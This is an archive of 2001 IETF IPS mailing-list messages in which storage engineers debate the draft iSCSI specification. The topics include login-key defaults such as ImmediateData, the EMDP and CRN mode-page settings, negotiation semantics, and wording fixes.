<15284.44334.557000.49815@gargle.gargle.HOWL> Date: Fri, 28 Sep 2001 13:02:38 -0400 From: Paul Koning To: Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu Subject: RE: iscsi : iscsi parameter default values References: X-Mailer: VM 6.95 under 21.4 (patch 3) "Academic Rigor" XEmacs Lucid Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Excerpt of message (sent 28 September 2001) by Julian Satran: > > Eddy, > > The text (cleaned) says: > > For numerical negotiations, the responding party MUST respond with the > required key. > > Binary negotiations (for keys taking the values yes or no) are a > restricted form of numerical negotiations and the result is a key > dependent Boolean function of the two inputs. The negotiation MUST > proceed ONLY up to the point where both parties can unequivocally > compute the result based on new values; continuing beyond this point is > OPTIONAL. The last sentence contradicts itself. If you "MUST proceed ONLY..." then by definition you cannot proceed further, so saying that proceeding further is optional makes no sense. Even ignoring that, I still have no idea what the last sentence means. Also, "yes" and "no" aren't numbers, so perhaps you should say "for keys taking the values 1 (meaning "yes") and 0 (meaning "no")..." paul From owner-ips@ece.cmu.edu Sat Sep 29 18:37:32 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26807 for ; Sat, 29 Sep 2001 18:37:32 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLkSu20366 for ips-outgoing; Sat, 29 Sep 2001 17:46:28 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SFYNP11799 for ; Fri, 28 Sep 2001 11:34:24 -0400 (EDT) Received: from eddylaptop ([24.61.64.49]) by chmls06.mediaone.net (8.11.1/8.11.1) with SMTP id f8SFYdh23186 for ; Fri, 28 Sep 2001 11:34:39 -0400 (EDT) From: "Eddy Quicksall" To: Subject: RE: iSCSI - do we need anything in the mode pages? Date: Fri, 28 Sep 2001 11:34:19 -0400 Message-ID: <003b01c14833$0f27c0c0$0102a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 In-Reply-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Good, this relieves a long back concern of mine too. Eddy -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Thursday, September 27, 2001 11:50 PM To: ips@ece.cmu.edu Subject: iSCSI - do we need anything in the mode pages? Importance: High Dear colleagues: We have now only two scraps of information in the iSCSI mode page: EMDP CRN I suggest we take EMDP out (for simplicity) and reintroduce DataSequenceInOrder Unfortunately we can't do anything about CRN - but since it is not strictly an iSCSI issue we can just as for it to be placed honorably in commonly used per-LU page by T10. Please comment. Julo From owner-ips@ece.cmu.edu Sat Sep 29 18:37:36 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26818 for ; Sat, 29 Sep 2001 18:37:36 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLh8720171 for ips-outgoing; Sat, 29 Sep 2001 17:43:08 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SM5mP07852 for ; Fri, 28 Sep 2001 18:05:48 -0400 (EDT) Received: from eddylaptop (equicksall.ne.mediaone.net [24.61.64.49]) by chmls06.mediaone.net (8.11.1/8.11.1) with SMTP id f8SM65h29520 for ; Fri, 28 Sep 2001 18:06:05 -0400 (EDT) From: "Eddy Quicksall" To: Subject: next meeting Date: Fri, 28 Sep 2001 18:05:47 -0400 Message-ID: <006201c14869$bb4546d0$0102a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0063_01C14848.3433A6D0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0063_01C14848.3433A6D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Does anybody know where and when the next IPS meeting for general attendance is? Eddy_Quicksall@iVivity.com ------=_NextPart_000_0063_01C14848.3433A6D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Does = anybody know=20 where and when the next IPS meeting for general attendance=20 is?
 
Eddy_Quicksall@iVivity.com=
 
------=_NextPart_000_0063_01C14848.3433A6D0-- From owner-ips@ece.cmu.edu Sat Sep 29 18:37:52 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26830 for ; Sat, 29 Sep 2001 18:37:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLkWH20380 for ips-outgoing; Sat, 29 Sep 2001 17:46:32 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SFX1P11697 for ; Fri, 28 Sep 2001 11:33:01 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id IAA03710; Fri, 28 Sep 2001 08:32:52 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Sep 2001 08:32:29 -0700 Message-ID: From: Robert Snively To: Julian Satran , ips@ece.cmu.edu Subject: RE: iSCSI - do we need anything in the mode pages? Date: Fri, 28 Sep 2001 08:32:28 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk I disagree. SCSI driver stacks are used to being able to find the state of EMDP and to adjusting the state of EMDP in the MODE SELECT pages. If the bit exists at all, it should also exist and be controllable from the mode pages. A possible alternative, given that EMDP may be less important at very high data rates and when very large caches are available, is to explicitly prohibit EMDP in iSCSI. That would eliminate the parameter from both the mode pages and from the login, creating the desired simplification. Bob Snively e-mail: rsnively@brocade.com Brocade Communications Systems phone: 408 487 8135 1745 Technology Drive San Jose, CA 95110 > -----Original Message----- > From: Rod Harrison [mailto:rod.harrison@windriver.com] > Sent: Friday, September 28, 2001 12:50 AM > To: Julian Satran; ips@ece.cmu.edu > Subject: RE: iSCSI - do we need anything in the mode pages? > > > > I am in favour of this. > > - Rod > > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Julian Satran > Sent: Friday, September 28, 2001 4:50 AM > To: ips@ece.cmu.edu > Subject: iSCSI - do we need anything in the mode pages? > Importance: High > > > Dear colleagues: > > We have now only two scraps of information in the iSCSI mode page: > > EMDP > CRN > > > I suggest we take EMDP out (for simplicity) and reintroduce > DataSequenceInOrder > > Unfortunately we can't do anything about CRN - but since it is not > strictly > an iSCSI issue > we can just as for it to be placed honorably in commonly used per-LU > page > by T10. > > Please comment. > > Julo > > From owner-ips@ece.cmu.edu Sat Sep 29 18:37:55 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26841 for ; Sat, 29 Sep 2001 18:37:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLkdT20401 for ips-outgoing; Sat, 29 Sep 2001 17:46:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SFRtP11288 for ; Fri, 28 Sep 2001 11:27:56 -0400 (EDT) Received: from eddylaptop ([24.61.64.49]) by chmls06.mediaone.net (8.11.1/8.11.1) with SMTP id f8SFSAh15039 for ; Fri, 28 Sep 2001 11:28:10 -0400 (EDT) From: "Eddy Quicksall" To: "'Eddy Quicksall'" , Subject: RE: iscsi : iscsi parameter default values Date: Fri, 28 Sep 2001 11:27:19 -0400 Message-ID: <003401c14832$278cd430$0102a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit My apologies, I did not notice that the "reject" I am referring to below only applies to list negotiations ... so, I retract this EMAIL. Eddy -----Original Message----- From: Eddy Quicksall [mailto:EQuicksall@mediaone.net] Sent: Friday, September 28, 2001 11:14 AM To: 'ips@ece.cmu.edu' Subject: RE: iscsi : iscsi parameter default values BTW, Since 2.2.4 says: If a target is not supporting, or not allowed to use with a specific initiator, any of the offered options, it may use the value "reject". I assume the below would be legal: I -> ImmediateData=yes T <- ImmediateData=reject The target "is not supporting" immediate data so it is now telling the initiator "no". Comments? I think this should be spelled out very clearly. Something like: For any leading negotiation, the responding party MUST respond. If the response is reject, . Eddy From owner-ips@ece.cmu.edu Sat Sep 29 18:37:58 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26852 for ; Sat, 29 Sep 2001 18:37:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLgcQ20136 for ips-outgoing; Sat, 29 Sep 2001 17:42:38 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls05.mediaone.net (chmls05.mediaone.net [24.147.1.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SNHxP11744 for ; Fri, 28 Sep 2001 19:18:00 -0400 (EDT) Received: from eddylaptop (equicksall.ne.mediaone.net [24.61.64.49]) by chmls05.mediaone.net (8.11.1/8.11.1) with SMTP id f8SNHer16400 for ; Fri, 28 Sep 2001 19:17:41 -0400 (EDT) From: "Eddy Quicksall" To: Subject: iSCSI: Binary functions Date: Fri, 28 Sep 2001 19:17:44 -0400 Message-ID: <006801c14873$c852e800$0102a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit We should define the meaning of AND and OR when the values are yes and no (even though you may think it is obvious). I suggest either yes=1 and no=0 or a table like: AND yes no ------------- yes | yes | no | ------------- no | no | no | ------------- OR yes no ------------- yes | yes | yes | ------------- no | yes | no | ------------- Eddy_Quicksall@iVivity.com From owner-ips@ece.cmu.edu Sat Sep 29 18:37:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26854 for ; Sat, 29 Sep 2001 18:37:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLhXg20190 for ips-outgoing; Sat, 29 Sep 2001 17:43:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SJXbP28496 for ; Fri, 28 Sep 2001 15:33:37 -0400 (EDT) Received: from eddylaptop (equicksall.ne.mediaone.net [24.61.64.49]) by chmls06.mediaone.net (8.11.1/8.11.1) with SMTP id f8SJXoh18729 for ; Fri, 28 Sep 2001 15:33:50 -0400 (EDT) From: "Eddy Quicksall" To: Subject: RE: iscsi : iscsi parameter default values Date: Fri, 28 Sep 2001 15:33:10 -0400 Message-ID: <004c01c14854$76dc3400$0102a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 In-Reply-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I once voted "no" on this, but the argument as to what is easiest is now a moot point because a response is now required (it used to not be required). All a lightweight target needs to do is to send ImmediateData=no. As to the argument as to what is easier, it is completely implementation dependent. For example, parallel SCSI targets many times don't take immediate data ... they disconnect after command phase and then reselect after assigning buffers to receive the data. So, if one is porting that kind of code, he will probably see it easier to say ImmediateData=no. It also makes zero copy very easy. So I'm changing my vote to "I don't care" because I'll just send ImmediateData=no if I can't support ImmediateData. Eddy -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, September 28, 2001 1:38 PM To: ips@ece.cmu.edu Subject: RE: iscsi : iscsi parameter default values Robert, I disagree that Immediate is "the most demanding" mode. That is not my experience and not what I heard from most of the developers. On the contrary immediate data do not require a separate indexing operation on the target (as non-immediate unsolicited do) and that was the base for the consensus to have them negotiated separately. For the software initiator it is the most inexpensive way to perform short data transfers (4-8k) typical for major applications like Database access and so it is for lightweight target. Julo Robert Snively Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu 28-09-01 17:25 Subject: RE: iscsi : iscsi parameter default values Please respond to Robert Snively I vote no as the default value on ImmediateData. A default value of yes on ImmediateData requires implementation of the most complex and demanding mode of operation as the default. SCSI has traditionally made its default behavior the simplest and most encompassing, setting more sophisticated behavior by subsequent agreement. While it may be your earnest desire to encourage the implementation of this function, it is not appropriate to demand that as the default behavior of all devices. In particular, there is no special benefit to providing ImmediateData in low-cost local sub-lans. If you want to encourage it in a profile, fine, but demanding it as the default in the core standard is not appropriate. Note that the behavior of SCSI is traditionally managed entirely by the target. As such, there has never before now been a requirement for the target to, as a default, accept any PDU except a command or task management function that was not explicitly solicited. That is one of the mechanisms that assists SCSI in achieving a low-overhead zero copy capability while operating with a large number of initiators and with deep command queues. Bob Snively e-mail: rsnively@brocade.com Brocade Communications Systems phone: 408 487 8135 1745 Technology Drive San Jose, CA 95110 > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Friday, September 28, 2001 1:33 AM > To: Julian Satran > Cc: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > I also agree with this. It should be yes. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM > > Sent by: owner-ips@ece.cmu.edu > > > To: ips@ece.cmu.edu > cc: > Subject: RE: iscsi : iscsi parameter default values > > > > > The one that I have trouble living with is ImmediateData. > This is important > for low-end desktops and hardly matters for large boxes. > As such I would suggest it stays as yes. > > Julo > > > > "Eddy > Quicksall" To: "'Santosh Rao'" > , > > iaone.net> cc: > Sent by: Subject: RE: > iscsi : iscsi > parameter default values > owner-ips@ece.c > mu.edu > > > 27-09-01 17:22 > Please respond > to "Eddy > Quicksall" > > > > > > I like your defaults below. > > But, section 5 says: > > The initial Login request MUST include the InitiatorName and > SessionType key=value pairs. > > Since SessionType is REQUIRED, naming a default would imply a > possible typo > in the spec. > > Eddy > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Wednesday, September 26, 2001 10:29 PM > To: ips@ece.cmu.edu > Subject: iscsi : iscsi parameter default values > > > All, > > With the issue of mode page vs. login keys having [almost] drawn to a > close, I would like to > raise the below issues again, on the subject of default > values for login > keys and other iscsi > parameters : > > > * In keeping with traditional use of scsi mode pages, iscsi should > not specify any default > settings for any mode pages that continue to exist for iscsi. > "Default values" for mode > pages are target specific and should not be bound to the protocol > draft. > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > :-< This implies that > targets must be always prepared to deal with out of > order data and > initiators must be > prepared to deal with out of order data, unless the initiator > performs a mode select to > disable it. [which defeats all the previous advantages > gained thru > mandating use of login > keys for other negotiations.]. A default, if it were to exist, > should be 0. (in-order, by > default). > > * Conservative specification of defaults for login keys along the > following lines : > MaxConnections = 1 > FMarker = "no" > InitialR2T = "yes" > BidiInitialR2T = "yes" > ImmediateData = "no" > DataPDULength = 16 > MaxOutstandingR2T = 1 > DataPDUInOrder = "yes" > ErrorRecoveryLevel = 0 > SessionType = "normal" > > * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, > is an EnableCRN bit > required at the transport layer ? If the device server capability > is to be negotiated , I > suggest this bit be moved to a SCSI ULP Mode Page such as the > "Control Mode Page", through a > T10 change as a part of the SCSI changes being driven by iscsi. > > Comments ? > > Thanks, > Santosh > > > Santosh Rao wrote: > > > There are the separate issues of : > > > > * iscsi's specification of defaults for its mode pages > which is not > in line with mode page > > usage. This impacts the target's ability to enforce > values other > than the protocol > > specified default, if the initiator were to not use mode > sense/select. > > > > * default settings for login keys. > > > > * Is there a need for the "LUN Control Mode Page" and whether > "Enable CRN" should be in a > > transport specific mode page ? > > > > which need to be driven to closure as well. > > > > Regards, > > Santosh > > > > > > > > > > > From owner-ips@ece.cmu.edu Sat Sep 29 18:38:25 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26886 for ; Sat, 29 Sep 2001 18:38:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLiAG20221 for ips-outgoing; Sat, 29 Sep 2001 17:44:10 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SJIpP27415 for ; Fri, 28 Sep 2001 15:18:52 -0400 (EDT) Received: from eddylaptop (equicksall.ne.mediaone.net [24.61.64.49]) by chmls06.mediaone.net (8.11.1/8.11.1) with SMTP id f8SJIrh02051 for ; Fri, 28 Sep 2001 15:18:53 -0400 (EDT) From: "Eddy Quicksall" To: Subject: iSCSI: TASK REASIGN Date: Fri, 28 Sep 2001 15:18:37 -0400 Message-ID: <004b01c14852$60d0cf60$0102a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit The bottom of 3.5.1 says: For the TASK REASSIGN function, the target should reassign the connection allegiance to this new connection (and thus resume iSCSI exchanges for the task). TASK REASSIGN MUST be received by the target ONLY after the connection on which the command was previously executing has been successfully logged-out. For additional usage semantics, see section 8.1. I think it would be better to say "TASK REASSIGN MUST be executed by the ...". Because, it is not possible for the target to even see the TMF until it "receives" it. Eddy_Quicksall@iVivity.com From owner-ips@ece.cmu.edu Sat Sep 29 18:38:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26898 for ; Sat, 29 Sep 2001 18:38:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLkuv20428 for ips-outgoing; Sat, 29 Sep 2001 17:46:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SEt3P08796 for ; Fri, 28 Sep 2001 10:55:04 -0400 (EDT) Received: from eddylaptop ([24.61.64.49]) by chmls06.mediaone.net (8.11.1/8.11.1) with SMTP id f8SEsVh06085; Fri, 28 Sep 2001 10:54:36 -0400 (EDT) From: "Eddy Quicksall" To: "'Santosh Rao'" , "'IPS Reflector'" Subject: RE: iscsi : target originated login negotiations. Date: Fri, 28 Sep 2001 10:54:18 -0400 Message-ID: <001d01c1482d$74122940$0102a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 In-Reply-To: <3BB3C493.83E1A339@cup.hp.com> Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit This is the way I see it ... since the spec has been changed to say: For numerical (and binary) negotiations, the responding party MUST respond with the required key. So, the initiator MUST respond. Therefore, after the target starts a negotiation, the default no longer has a meaning. I would also like to hear the answer to (a) and (b) below. Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Thursday, September 27, 2001 8:30 PM To: IPS Reflector Subject: iscsi : target originated login negotiations. All, I have a question on how the target originated negotiation works. The draft describes this as : "The target may offer key=value pairs of its own. Target requests are not limited to matching key=value pairs as offered by the initiator. However, the initiator always controls the request-response initiation and termination." Here's my question, taking a specific scenario as an example : Assume ImmediateData defaults to "yes" [as is currently the case]. Consider an initiator that wishes to use immediate data attempting to login with a target that does not support immediate data. I -> T : (does not explicitly send ImmediateData key, since the default is its desired value). T -> I : ImmediateData="no" (No ImmediateData key is received. Hence, target needs to originate this key to indicate that it does not support). Is this considered the end of the negotiation, or does the initiator (who is the responding party in this case) need to respond to the offered key with a response indicating : I -> T : ImmediateData="no" Also : a) how does the above work in the case of list negotiation ? b) What is meant by "the initiator always controls the request-response initiation and termination." (?). Could this be stated more clearly ? Thanks, Santosh -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Sat Sep 29 18:39:26 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26920 for ; Sat, 29 Sep 2001 18:39:26 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLftV20090 for ips-outgoing; Sat, 29 Sep 2001 17:41:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls16.mediaone.net (chmls16.mediaone.net [24.147.1.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T1MHP18099 for ; Fri, 28 Sep 2001 21:22:17 -0400 (EDT) Received: from eddylaptop (equicksall.ne.mediaone.net [24.61.64.49]) by chmls16.mediaone.net (8.11.1/8.11.1) with SMTP id f8T1MpT21833 for ; Fri, 28 Sep 2001 21:22:51 -0400 (EDT) From: "Eddy Quicksall" To: "'IPS Reflector'" Subject: RE: iscsi : target originated login negotiations. Date: Fri, 28 Sep 2001 21:22:11 -0400 Message-ID: <006901c14885$2ed6bdc0$0102a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 In-Reply-To: <3BB4EF89.9C0A8A7F@cup.hp.com> Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I agree. i.e., "The value picked by the responder is sent back to the originator." In fact, that is how I thought it worked ... I'll have to read it again. You are exactly right in saying "it is the more familiar negotiation technique that is in use in most other mass storage protocols". Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Friday, September 28, 2001 5:46 PM To: 'IPS Reflector' Subject: Re: iscsi : target originated login negotiations. All, The below ambiguities go to further prove that the current negotiation model for login keys [and also, login stages] is open to mis-interpretation and is susceptible to interop issues. I suggest that the initiator be always considered as an originator of the keys, even when it uses the defaults. This ensures that the login negotiation always culminates at the initiator and does not cause any redundant round trips of login pdu's. In this context, I also request the group to consider the alternate, simpler, more familiar & more debuggable negotiation technique that has been proposed in a separate thread with the subject : "iscsi : numerical negotiation ambiguous". Thanks, Santosh Eddy Quicksall wrote: > > This is the way I see it ... since the spec has been changed to say: > > For numerical (and binary) negotiations, the responding party MUST > respond with the required key. > > So, the initiator MUST respond. Therefore, after the target starts a > negotiation, the default no longer has a meaning. > > I would also like to hear the answer to (a) and (b) below. > > Eddy > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Thursday, September 27, 2001 8:30 PM > To: IPS Reflector > Subject: iscsi : target originated login negotiations. > > All, > > I have a question on how the target originated negotiation works. The > draft describes this as : > > "The target may offer key=value pairs of its own. Target requests are > not limited to matching key=value pairs as offered by the initiator. > However, the initiator always controls the request-response initiation > and termination." > > Here's my question, taking a specific scenario as an example : > > Assume ImmediateData defaults to "yes" [as is currently the case]. > Consider an initiator that wishes to use immediate data attempting to > login with a target that does not support immediate data. > > I -> T : (does not explicitly send ImmediateData key, since the default > is its desired value). > > T -> I : ImmediateData="no" (No ImmediateData key is received. Hence, > target needs to originate this key to indicate that it does not > support). > > Is this considered the end of the negotiation, or does the initiator > (who is the responding party in this case) need to respond to the > offered key with a response indicating : > I -> T : ImmediateData="no" > > Also : > > a) how does the above work in the case of list negotiation ? > > b) What is meant by "the initiator always controls the > request-response initiation and termination." (?). > Could this be stated more clearly ? > > Thanks, > Santosh > > -- > ################################## > Santosh Rao > Software Design Engineer, > HP-UX iSCSI Driver Team, > Hewlett Packard, Cupertino. > email : santoshr@cup.hp.com > Phone : 408-447-3751 > ################################## -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Sat Sep 29 18:41:56 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26962 for ; Sat, 29 Sep 2001 18:41:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLgTh20125 for ips-outgoing; Sat, 29 Sep 2001 17:42:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SNVQP12447 for ; Fri, 28 Sep 2001 19:31:26 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id QAA15052; Fri, 28 Sep 2001 16:31:14 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Sep 2001 16:31:13 -0700 Message-ID: From: Robert Snively To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iscsi : iscsi parameter default values Date: Fri, 28 Sep 2001 16:31:12 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, For SCSI Write operations, ImmediateData = yes is the most demanding mode for the target. If I understand it correctly, it essentially over-rides the R2T state, allowing the first burst to be included as immediate data. In SCSI, except for special cases like this, the target is the device in charge of data transfers. This mode requires the target to have a guaranteed collection of received buffer space adequate to receive all possible outbound queued operations from all possible initiators through all possible target sessions (which may sum to 1000s of output operations), regardless of what other buffer-intensive operations may be going on in the device. It then requires the device to provide association with each of those commands instead of just the commands it has elected to activate. Without immediate data, the command buffer can be separated and separately managed from the data buffer, limiting buffer requirements. It then requires the device to operate in a non-zero-copy mode (which raises buffer utilization and increases latency) while the device analyzes the command to determine what should be done with the data. It further requires the subsequent data (if there is more than one PDU to be transmitted) to be separately managed, and perhaps actually stored in a separate operation if the buffer must be cleared to make space available for it. It further requires the target to analyze the data for completeness before going on to determine what to do with it. Sure, it is easy for the initiator, but so is everything else except out-of-order reads. It is the target you are stressing with this. For local sub-LANs, and depending on the actual buffering available in the target, the performance may actually be lower with ImmediateData allowed, because zero copy behavior of the target to non-volatile media is not available, which raises buffer utilization. Have I missed something that would change my mind? Bob > -----Original Message----- > From: Julian Satran 